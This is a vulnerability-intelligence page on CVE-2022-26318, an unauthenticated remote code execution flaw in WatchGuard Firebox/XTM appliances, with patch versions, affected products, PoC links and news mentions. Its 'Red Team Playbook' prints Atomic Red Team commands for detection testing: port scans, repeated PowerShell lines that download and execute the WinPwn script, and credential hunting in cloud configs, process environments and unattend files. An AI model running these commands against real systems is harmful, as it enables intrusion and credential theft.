CVE-2022-26318
Overview
This vulnerability is a remote code execution flaw caused by improper input validation in WatchGuard Firebox and XTM appliances running Fireware OS. The root cause lies in a component of the Fireware operating system that processes unauthenticated network requests, allowing execution of arbitrary code due to insufficient access control and validation mechanisms. The affected feature is the network-facing service responsible for handling management or protocol-specific commands prior to authentication.
Vulnerability Description
On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Impact
An unauthenticated attacker can remotely execute arbitrary code on affected WatchGuard Firebox and XTM devices, gaining full control over the system. This enables complete compromise of the firewall appliance, including access to internal networks, interception or modification of traffic, and disruption of network security functions. No prior credentials or user interaction are needed, allowing attackers to exploit the vulnerability remotely and potentially pivot within the protected environment, leading to severe operational and data security consequences.
Solution
Apply the Fireware OS updates released by WatchGuard to remediate this vulnerability. Specifically, upgrade affected devices to version 12.7.2_U2 or later, 12.1.3_U8 or later for 12.x branches, or 12.5.9_U2 or later for 12.2.x through 12.5.x versions. Detailed patch instructions and release notes are available at WatchGuard’s official support page: https://www.watchguard.com/support/release-notes/fireware/12/en-US/EN_ReleaseNotes_Fireware_12_7_2/index.html#Fireware/en-US/resolved_issues.html. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u1:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u2:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u3:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u4:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u5:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u6:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u7:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.5.9 |
cpe:2.3:o:watchguard:fireware:12.5.9:u1:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.7.2 |
cpe:2.3:o:watchguard:fireware:12.7.2:u1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WatchGuard XTM Firebox Unauthenticated Remote Command Execution
exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318
|
- | Unknown | unix | View |
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
misterxid/watchguard_cve-2022-26318
|
misterxid | 11 | 9 | 2022-03-28 | View |
|
h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318
Watchguard RCE POC CVE-2022-26318
|
h3llk4t3 | 2 | 2 | 2022-04-18 | View |
|
BabyTeam1024/CVE-2022-26318
|
BabyTeam1024 | 2 | 1 | 2022-05-21 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
egilas/Watchguard-RCE-POC-CVE-2022-26318
PoC for Watchguard CVE-2022-26318 updated to Python3.12
|
egilas | 0 | 0 | 2024-12-05 | View |
Ransomware Groups 1
Threat Feed
12 eventsRansomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2541 known victims)
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2541 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 20 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (18)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
news theregister.com 2025-12-19 08:00 UTCCritical-rated WatchGuard Firebox flaw under active attack - The RegisterOpen source
-
news industrialcyber.co 2025-12-18 08:00 UTCRussian GRU hackers target network edge devices in sustained energy and critical infrastructure attacks - Industrial CyberOpen source
-
social bsky.app @blackhatnews.tokyo 2025-12-17 11:14 UTCロシアのAPTグループが欧米のKRITIS運用事業者を攻撃 ロシアのハッカー集団がネットワーク・エッジ機器の設定不備を悪用し、北米および欧州の重要インフラを攻撃している。 ロシアのサイバースパイ活動キャンペーンがエネルギー事業者を標的にしている。 Evgeny_V – shutterstock.com Amazon Threat Intelligenceのチームは、ロシア国家の支援を受けたサイバースパイ集団が、エネルギー企業および重要インフラ(KRITIS)の事業者を標的に…Open source
-
social bsky.app @blackhatnews.tokyo 2025-12-16 23:58 UTCロシアのAPTグループ、ネットワークエッジ機器の設定不備へと戦術を転換 国家支援グループが北米と欧州の重要インフラ提供事業者を標的に。 ロシアの国家支援によるサイバー諜報グループが、ネットワークエッジ機器の設定不備を悪用して、エネルギー企業および重要インフラ提供事業者を標的にしている。 同グループは少なくとも2021年から活動しており、これまでも機器の設定不備を悪用してきたが、WatchGuard FireboxおよびXTMアプライアンスのCVE-2022-26318、Co…Open source
-
social bsky.app @csoonline.com.web.brid.gy 2025-12-16 23:54 UTCOpen source
-
social bsky.app @blackhatnews.tokyo 2025-12-16 12:19 UTCAmazon、ロシアGRUのハッカーがエッジデバイス経由で西側企業を標的にしていると警告 西側諸国の重要インフラ組織を長年にわたり標的としてきたロシア国家支援の悪意あるキャンペーンが、脆弱性の悪用から、設定不備のある顧客ネットワークのエッジデバイスを侵害する手口へと戦術を転換した。 脅威アクターは特定されていないものの、Amazonはこれを「高い確度」でロシアの主要情報総局(GRU)によるものだと帰属させている。GRUは同国の軍事情報機関であり、複数のサイバー脅威グループが…Open source
-
news therecord.media 2025-12-16 08:00 UTCRussia’s GRU hackers targeting misconfigured network edge devices in attacks on energy sector, Amazon says - The Record from Recorded Future NewsOpen source
-
news cyberscoop.com 2025-12-16 08:00 UTCAmazon warns that Russia’s Sandworm has shifted its tactics - CyberScoopOpen source
-
news infosecurity-magazine.com 2025-12-16 08:00 UTCAmazon Warns Russian GRU Hackers Target Western Firms via Edge Devices - Infosecurity MagazineOpen source
-
news thehackernews.com 2025-12-16 08:00 UTCAmazon Exposes Years-Long GRU Cyber Campaign Targeting Energy and Cloud Infrastructure - The Hacker NewsOpen source
-
news aws.amazon.com 2025-12-15 08:00 UTCAmazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure - Amazon Web ServicesOpen source
-
news theregister.com 2025-12-15 08:00 UTCAmazon security boss blames Russia's GRU for years-long energy-sector hacks - The RegisterOpen source
-
code github.com egilas 2024-12-05 09:56 UTCegilas/Watchguard-RCE-POC-CVE-2022-26318Open source
-
advisory rapid7.com 2024-04-05 07:00 UTCMetasploit Weekly Wrap-Up 04/05/2024 - Rapid7Open source
-
advisory rapid7.com 2022-06-23 07:00 UTCCVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed) - Rapid7Open source
-
code github.com BabyTeam1024 2022-05-21 11:51 UTCBabyTeam1024/CVE-2022-26318Open source
-
code github.com h3llk4t3 2022-04-18 15:14 UTCh3llk4t3/Watchguard-RCE-POC-CVE-2022-26318Open source
-
code github.com misterxid 2022-03-28 10:53 UTCmisterxid/watchguard_cve-2022-26318Open source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-26318 |
| watchguard.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.watchguard.com/support/release-notes/fireware/12/en-US/EN_ReleaseNotes_Fireware_12_7_2/index.html#Fireware/en-US/resolved_issues.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-26318 |